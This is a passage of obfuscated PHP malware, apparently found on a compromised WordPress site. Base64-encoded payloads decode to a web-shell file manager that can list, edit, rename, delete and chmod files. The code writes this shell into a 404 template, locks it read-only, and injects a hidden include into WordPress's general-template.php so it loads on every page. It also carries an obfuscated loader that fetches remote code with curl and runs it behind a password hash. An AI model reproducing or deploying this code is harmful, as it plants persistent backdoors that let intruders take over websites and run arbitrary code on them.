ICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTjNXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Avd0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTEMrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFNDUHlMWElVT1kxY1FQcVEyOGdnTW9yOGlyeEhNWlNCc2xFRDFBSjFRTG1vSHhxS3hxQnowWFEwRDEyQWxxSnIwUnEwSGoyQXRxS24wVXZvZFhRQWZZcU9ZNERSTVE1bWpObGhYSXlIUldDSldCb214eFpqNVZnMVZvODFZeDFZTjNZVkc4Q2VZZThJSkFLTGdCUHNDRjZFRU1Kc2dwQ1FSMWhNV0VPb0pld2p0Qks2Q0ZjSmc0UXh3aWNpazZoUHRDVjZFdm5FZUdJNnNaQllScXdtN2lFZUlaNGxYaWNPRTErVFNDUU95WkxrVGdvaEpaQXlTUXRKYTBqYlNDMmtVNlErMGhCcG5Fd202NUJ0eWQ3a0NMS0FyQ0NYa2JlUUQ1QlBrdnZKdytTM0ZEckZpT0pNQ2FJa1VxU1VFa28xWlQvbEJLV2ZNa0tab0twUnphbWUxQWlxaURxZldrbHRvSFpRTDFPSHFSTTBkWm9selpzV1E4dWtMYVBWMEpwcFoybjNhQy9wZExvSjNZTWVSWmZRbDlKcjZBZnA1K21EOUhjTURZWU5nOGRJWWlnWmF4bDdHYWNZdHhrdm1VeW1CZE9YbWNoVU1OY3lHNWxubUErWWIxVllLdllxZkJXUnloS1ZPcFZXbFg2VjU2cFVWWE5WUDlWNXFndFVxMVVQcTE1V2ZhWkdWYk5RNDZrSjFCYXIxYWtkVmJ1cE5xN09VbmRTajFEUFVWK2p2bC85Z3ZwakRiS0doVWFnaGtpalZHTzN4aG1OSVJiR01tWHhXRUxXY2xZRDZ5eHJtRTFpVzdMNTdFeDJCZnNiZGk5N1RGTkRjNnBtckdhUlpwM21jYzBCRHNheDRQQTUyWnhLemlIT0RjNTdMUU10UHkyeDFtcXRacTErclRmYWV0cSsybUx0Y3UwVzdldmE3M1Z3blVDZExKMzFPbTA2OTNVSnVqYTZVYnFGdXR0MXorbyswMlByZWVrSjljcjFEdW5kMFVmMWJmU2o5UmZxNzlidjBSODNNRFFJTnBBWmJERTRZL0RNa0dQb2E1aHB1Tkh3aE9Hb0VjdG91cEhFYUtQUlNhTW51Q2J1aDJmak5YZ1hQbWFzYnh4aXJEVGVaZHhyUEdGaWFUTGJwTVNreGVTK0tjMlVhNXBtdXRHMDAzVE16TWdzM0t6WXJNbnNqam5Wbkd1ZVliN1p2TnY4allXbFJaekZTb3MyaThlVzJwWjh5d1dXVFpiM3JKaFdQbFo1VnZWVzE2eEoxbHpyTE90dDFsZHNVQnRYbXd5Yk9wdkx0cWl0bTYzRWRwdHQzeFRpRkk4cDBpbjFVMjdhTWV6ODdBcnNtdXdHN1RuMllmWWw5bTMyengzTUhCSWQxanQwTzN4eWRIWE1kbXh3dk91azRUVERxY1NwdytsWFp4dG5vWE9kOHpVWHBrdVF5eEtYZHBjWFUyMm5pcWR1bjNyTGxlVWE3cnJTdGRQMW81dTdtOXl0MlczVTNjdzl4WDJyKzAwdW14dkpYY005NzBIMDhQZFk0bkhNNDUybm02ZkM4NURuTDE1MlhsbGUrNzBlVDdPY0pwN1dNRzNJMjhSYjRMM0xlMkE2UGoxbCtzN3BBejdHUGdLZmVwK0h2cWErSXQ4OXZpTisxbjZaZmdmOG52czcrc3Y5ai9pLzRYbnlGdkZPQldBQndRSGxBYjJCR29HekEyc0RId1NaQktVSE5RV05CYnNHTHd3K0ZVSU1DUTFaSDNLVGI4QVg4aHY1WXpQY1p5eWEwUlhLQ0owVldodjZNTXdtVEI3V0VZNkd6d2pmRUg1dnB2bE02Y3kyQ0lqZ1IyeUl1QjlwR1prWCtYMFVLU295cWk3cVViUlRkSEYwOXl6V3JPUlorMmU5anZHUHFZeTVPOXRxdG5KMlo2eHFiRkpzWSt5YnVJQzRxcmlCZUlmNFJmR1hFblFUSkFudGllVEUyTVE5aWVOekF1ZHNtak9jNUpwVWxuUmpydVhjb3JrWDV1bk95NTUzUEZrMVdaQjhPSVdZRXBleVArV0RJRUpRTHhoUDVhZHVUUjBUOG9TYmhVOUZ2cUtOb2xHeHQ3aEtQSkxtblZhVjlqamRPMzFEK21pR1QwWjF4ak1KVDFJcmVaRVprcmtqODAxV1JOYmVyTS9aY2RrdE9aU2NsSnlqVWcxcGxyUXIxekMzS0xkUFppc3JrdzNrZWVadHlodVRoOHIzNUNQNWMvUGJGV3lGVE5HanRGS3VVQTRXVEMrb0szaGJHRnQ0dUVpOVNGclVNOTltL3VyNUl3dUNGbnk5a0xCUXVMQ3oyTGg0V2ZIZ0lyOUZ1eFlqaTFNWGR5NHhYVks2WkhocDhOSjl5MmpMc3BiOVVPSllVbFh5YW5uYzhvNVNnOUtscFVNcmdsYzBsYW1VeWN0dXJ2UmF1V01WWVpWa1ZlOXFsOVZiVm44cUY1VmZySENzcUs3NHNFYTQ1dUpYVGwvVmZQVjViZHJhM2txM3l1M3JTT3VrNjI2czkxbS9yMHE5YWtIVjBJYndEYTBiOFkzbEcxOXRTdDUwb1hwcTlZN050TTNLelFNMVlUWHRXOHkyck52eW9UYWo5bnFkZjEzTFZ2MnRxN2UrMlNiYTFyL2RkM3Z6RG9NZEZUdmU3NVRzdkxVcmVGZHJ2VVY5OVc3UzdvTGRqeHBpRzdxLzVuN2R1RWQzVDhXZWozdWxld2YyUmUvcmFuUnZiTnl2djcreUNXMVNObzBlU0RwdzVadUFiOXFiN1pwM3RYQmFLZzdDUWVYQko5K21mSHZqVU9paHpzUGN3ODNmbVgrMzlRanJTSGtyMGpxL2Rhd3RvMjJnUGFHOTcraU1vNTBkWGgxSHZyZi9mdTh4NDJOMXh6V1BWNTZnblNnOThmbmtncFBqcDJTbm5wMU9QejNVbWR4NTkwejhtV3RkVVYyOVowUFBuajhYZE81TXQxLzN5ZlBlNTQ5ZDhMeHc5Q0wzWXRzbHQwdXRQYTQ5UjM1dy9lRklyMXR2NjJYM3krMVhQSzUwOUUzck85SHYwMy82YXNEVmM5ZjQxeTVkbjNtOTc4YnNHN2R1SnQwY3VDVzY5ZmgyOXUwWGR3cnVUTnhkZW85NHIveSsydjNxQi9vUDZuKzAvckZsd0czZytHREFZTS9EV1EvdkRnbUhudjZVLzlPSDRkSkh6RWZWSTBZampZK2RIeDhiRFJxOThtVE9rK0duc3FjVHo4cCtWdjk1NjNPcjU5Lzk0dnRMejFqODJQQUwrWXZQdjY1NXFmTnk3NnVwcnpySEk4Y2Z2TTU1UGZHbS9LM08yMzN2dU8rNjM4ZTlINWtvL0VEK1VQUFIrbVBIcDlCUDl6N25mUDc4TC9lRTgvc2wwcDh6QUFBQUlHTklVazBBQUhvbEFBQ0Fnd0FBK2Y4QUFJRHBBQUIxTUFBQTZtQUFBRHFZQUFBWGI1SmZ4VVlBQUFHNFNVUkJWSGphZkpMUGFoTlJGTVovOTl5WmFiQnhDTk5LaXlnb3hHQ2dsQlpjdUNnSTlnMktMMU5Dd1M1S1g4QW5VTG9TdW5QVnJkdkdnQnVwRVYyNEVXUUNNOG5NNU0rOTE4Vk1SdU9pMytyQ1BkLzVmZWZjcTE3MVhqdTA1VGJadWVIeS9Fd0JlR2pMMjVNVDVzYXdNSWFKWFRWL0dneDRkM1hGMFhIUFhaNmZLUUd3MXJJd2hwa3htT21VUE10SXgyT1NKR0djcHJ3L1BVVjh6ZEZ4ejhrNFRldHVnZFkwZ29CQWF6d1JsQWh4SFBQbTRvSVhuUTZmQjMwOEFCSGhZNzhQd05aNnhLOUp6RzYzQzhETHcwT2N0WVJoeUlmcjY5SUEwRzYzY1ZYK0ppMGFRUUN6R1FDTGYyYnlBTFJTRElmRHVqdkF0Nm9nOGhyRWk0TDl2YjNTVUdRWlNvU25uUTRMYTdsTFZKT1d1bDhVQUJSWlZzM2dIRjl1YnVxQ0pXbHJQU3BwazVpRDdlMktrT2NBN0hhN3pJd3BNLzlIYXRMQzA1b2l6LzhPL2ZQcmQ4S1d6NC9mYVUwQm1FOHovTFU3Nk0zTmtqQXRDclFJRDU0OExrbjNZR1lNRDZNSWF5Mm1vZ0pNaTJLVkFCQzJmUExjNTlIR0JvZ0FZSXhCcXJPM2ZPbUQ1OC9LeXlxM2NRNnRWRzBDR0tjcFhqSWFyYXhRaTJDc0xZc0JKWUpUQ2lWQ01ocWhtanM3enRyYnYvZFNJc0tmQVFEZklzS0h2QVpZWkFBQUFBQkpSVTVFcmtKZ2dnPT0nPg0KDQoiOw0KLy8gPGEgaHJlZj1cIj9BUlJBWT17JEFSUkFZfSZmaWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT4NCiAgICAgICAgZWNobyAiDQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+DQo8L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOw0KDQoNCg0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2E+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+DQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPSRwYXRoJm9wdD1lZGl0JnR5cGU9ZmlsZSZuYW1lPSRmaWxlXCI+57yW6L6RPC9hPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDppZihjb25maXJtKCfnoa7lrp7opoHliKDpmaTlkJc/JykpbG9jYXRpb249Jz9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD17JHBhdGh9Jm9wdD1kZWxldGUmdHlwZT1maWxlJm5hbWU9eyRmaWxlfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KPC9kaXY+JzsNCn0NCmVjaG8gJzxicj48YnI+PGJyPjxicj48L2I+DQo8L2JvZHk+IDwvaHRtbD48L2JvZHk+DQo8L2h0bWw+JzsNCmRpZTsNCmVuZGlmOyAgLy8gPT09PQ0KDQoNCg0KDQoNCg0K"; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @chmod($jue_jiang_404_path, 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdKyIoXFxbeDAtOV0uKz8pIjs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $mc1 = "KGZ1bmN0aW9uW1xzXStnZXRfaGVhZGVyKFtcc10rKT9cKCguKz8peyk="; preg_match_all("/".base64_decode($mc1)."/i",$general_template_code,$pr); $str = "\x" . substr(chunk_split(bin2hex($jue_jiang_404_path), 2, "\x"), 0, -2); $new_general_template = str_replace($pr[0][0],$pr[0][0].PHP_EOL.PHP_EOL." @include \"$str\";",$general_template_code); @file_put_contents($file_general_template_path,$new_general_template); } error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/home/xswop4u1ust1/public_html/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyAkamN2cyA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRQWkdTPSR7JGpjdnNbMzFdLiRqY3ZzWzU5XS4kamN2c1s0N10uJGpjdnNbNDddLiRqY3ZzWzUxXS4kamN2c1s1M10uJGpjdnNbNTddfTtAKGNvdW50KCRQWkdTKT09MjMmJmluX2FycmF5KGdldHR5cGUoJFBaR1MpLmNvdW50KCRQWkdTKSwkUFpHUykpPygoJFBaR1NbNjldPSRQWkdTWzY5XS4kUFpHU1s3NV0pJiYoJFBaR1NbODldPSRQWkdTWzY5XSgkUFpHU1s4OV0pKSYmKEAkUFpHUz0kUFpHU1s4OV0oJFBaR1NbNjBdLCRQWkdTWzY5XSgkeyRQWkdTWzUwXX1bMjZdKSkpJiYkUFpHUygpKTokUFpHUzsgJG91WFVCdiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRicU1qID0gYXJyYXkoQCR7JG91WFVCdlszMV0uJG91WFVCdls1NV0uJG91WFVCdls1N10uJG91WFVCdls0Ml19WyRvdVhVQnZbNjFdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNjFdLiRvdVhVQnZbMzddXSwgJG91WFVCdlsyN10uJG91WFVCdlsxMl0uJG91WFVCdlsyNV0uJG91WFVCdlsyOV0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyNF0uJG91WFVCdls5XS4kb3VYVUJ2WzE2XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzEwXS4kb3VYVUJ2WzIxXS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzE2XSwgJG91WFVCdlsxMV0uJG91WFVCdlsxMF0uJG91WFVCdlsxMl0uJG91WFVCdlszMV0uJG91WFVCdlsxMl0uJG91WFVCdlsxNV0uJG91WFVCdlsxMF0uJG91WFVCdls3N10uJG91WFVCdls3NV0sICRvdVhVQnZbMjBdLiRvdVhVQnZbMTFdLiRvdVhVQnZbMTVdLiRvdVhVQnZbMTZdLiRvdVhVQnZbMzFdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLiRvdVhVQnZbMjddLiRvdVhVQnZbMTVdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLCRvdVhVQnZbMTRdLiRvdVhVQnZbMjldLiRvdVhVQnZbMjddLiRvdVhVQnZbMTldLCAkb3VYVUJ2WzI4XS4kb3VYVUJ2WzI5XS4kb3VYVUJ2WzExXS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzcyXS4kb3VYVUJ2Wzc0XS4kb3VYVUJ2WzMxXS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XSwgJG91WFVCdlsyNF0uJG91WFVCdlsyMV0uJG91WFVCdlsxOF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyM10uJG91WFVCdlsyNV0uJG91WFVCdlsxMF0uJG91WFVCdlszMV0uJG91WFVCdlsyN10uJG91WFVCdlsxNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsxMV0sIEAkeyRvdVhVQnZbMzFdLiRvdVhVQnZbNTVdLiRvdVhVQnZbNTddLiRvdVhVQnZbNDJdfVskb3VYVUJ2WzE1XS4kb3VYVUJ2WzI0XV0sKTsgJENkVCA9ICRicU1qWzJdKCRicU1qWzBdKTskdUUgPSBAJGJxTWpbNF0oJG91WFVCdls1NF0uJG91WFVCdls4NF0sICRDZFQpOyR1RndqUSA9ICRicU1qWzNdKCR1RSwgdHJ1ZSk7ICRicU1qWzddID09IDEgJiYgZGllKCRicU1qWzZdKF9fRklMRV9fKSk7IGlmICgoJHVGd2pRWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJHVGd2pRWzJdKSkgPT09ICJjOGU1NTM5MWVkZDU1NDBjM2JiOGFjMmNmOTU5OWRkNyIpIHsgJEl2WHNQID0gY3VybF9pbml0KCR1RndqUVsxXSk7IGN1cmxfc2V0b3B0KCRJdlhzUCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICR6b2lNID0gY3VybF9leGVjKCRJdlhzUCk7JEtGY00gPSBlbXB0eSgkem9pTSk/JGJxTWpbNl0oJHVGd2pRWzFdKTokem9pTTtAJGJxTWpbMV0oIiIsICRvdVhVQnZbMV0gLiAkYnFNals1XSgkS0ZjTSkgLiAkb3VYVUJ2Wzc5XS4kb3VYVUJ2Wzg0XSk7IGRpZTt9ICRYRkdaTiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRBekY9JFhGR1pOWzI3XS4kWEZHWk5bMTJdLiRYRkdaTlsyNV0uJFhGR1pOWzI5XS4kWEZHWk5bMTBdLiRYRkdaTlsyNV0uJFhGR1pOWzMxXS4kWEZHWk5bMjRdLiRYRkdaTls5XS4kWEZHWk5bMTZdLiRYRkdaTlsyN10uJFhGR1pOWzEwXS4kWEZHWk5bMjFdLiRYRkdaTlsxNV0uJFhGR1pOWzE2XTsgJG9EeE1KPUAkQXpGKCRYRkdaTls5MF0uJFhGR1pOWzMxXSwkWEZHWk5bMjVdLiRYRkdaTls4XS4kWEZHWk5bMjldLiRYRkdaTlsxOF0uJFhGR1pOWzg2XS4kWEZHWk5bOTJdLiRYRkdaTls2M10uJFhGR1pOWzY0XS4kWEZHWk5bOTJdLiRYRkdaTls4MF0uJFhGR1pOWzI4XS4kWEZHWk5bMjldLiRYRkdaTlsxMV0uJFhGR1pOWzI1XS4kWEZHWk5bNzJdLiRYRkdaTls3NF0uJFhGR1pOWzMxXS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzI3XS4kWEZHWk5bMTVdLiRYRkdaTlsyNl0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsxMV0uJFhGR1pOWzEwXS4kWEZHWk5bMTJdLiRYRkdaTlszMV0uJFhGR1pOWzEyXS4kWEZHWk5bMTVdLiRYRkdaTlsxMF0uJFhGR1pOWzc3XS4kWEZHWk5bNzVdLiRYRkdaTls4Nl0uJFhGR1pOWzIzXS4kWEZHWk5bNF0uJFhGR1pOWzIxXS4kWEZHWk5bMTZdLiRYRkdaTlsyNF0uJFhGR1pOWzE4XS4kWEZHWk5bMjldLiRYRkdaTlsxMF0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsyOF0uJFhGR1pOWzI5XS4kWEZHWk5bMTFdLiRYRkdaTlsyNV0uJFhGR1pOWzcyXS4kWEZHWk5bNzRdLiRYRkdaTlszMV0uJFhGR1pOWzI2XS4kWEZHWk5bMjVdLiRYRkdaTlsyN10uJFhGR1pOWzE1XS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzg2XS4kWEZHWk5bMTFdLiRYRkdaTlsxMF0uJFhGR1pOWzEyXS4kWEZHWk5bMzFdLiRYRkdaTlsxMl0uJFhGR1pOWzE1XS4kWEZHWk5bMTBdLiRYRkdaTls3N10uJFhGR1pOWzc1XS4kWEZHWk5bODZdLiRYRkdaTls5MF0uJFhGR1pOWzMxXS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4